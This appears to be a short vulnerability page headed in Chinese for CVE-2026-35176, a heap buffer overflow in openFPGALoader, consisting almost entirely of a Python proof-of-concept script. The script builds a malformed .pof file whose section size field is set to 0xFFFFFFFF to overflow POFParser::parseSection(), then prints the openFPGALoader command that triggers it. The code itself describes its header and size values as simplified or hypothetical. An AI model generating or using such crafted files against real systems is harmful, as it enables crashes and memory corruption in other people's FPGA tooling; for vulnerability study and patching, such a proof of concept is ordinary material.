CVE-2026-35176 openFPGALoader堆缓冲区溢出漏洞

import os # PoC for CVE-2026-35176: Heap Buffer Overflow in openFPGALoader # This script generates a malformed .pof file designed to trigger # the buffer overflow in POFParser::parseSection(). def generate_malformed_pof(filename): # A valid .pof file has a specific structure. We create a file # with a crafted header that may pass initial checks but # contains a section size that triggers the overflow. # Dummy header bytes (simplified for demonstration) header = b'POF\x00' + b'\x00' * 12 # Malformed Section Data # We craft a section with a size that exceeds the allocated buffer # when parsed by POFParser::parseSection(). section_id = 0x01 # Hypothetical large size value to cause overflow section_size = 0xFFFFFFFF # Constructing the malicious payload # Format: [Section ID (4 bytes)] [Size (4 bytes)] [Data] payload = section_id.to_bytes(4, 'little') + \ section_size.to_bytes(4, 'little') + \ b'A' * 100 # Minimal payload data with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Malformed POF file generated: {filename}") print(f"[*] To trigger the vulnerability, run:") print(f" openFPGALoader -f {filename}") if __name__ == "__main__": generate_malformed_pof("cve_2026_35176_poc.pof")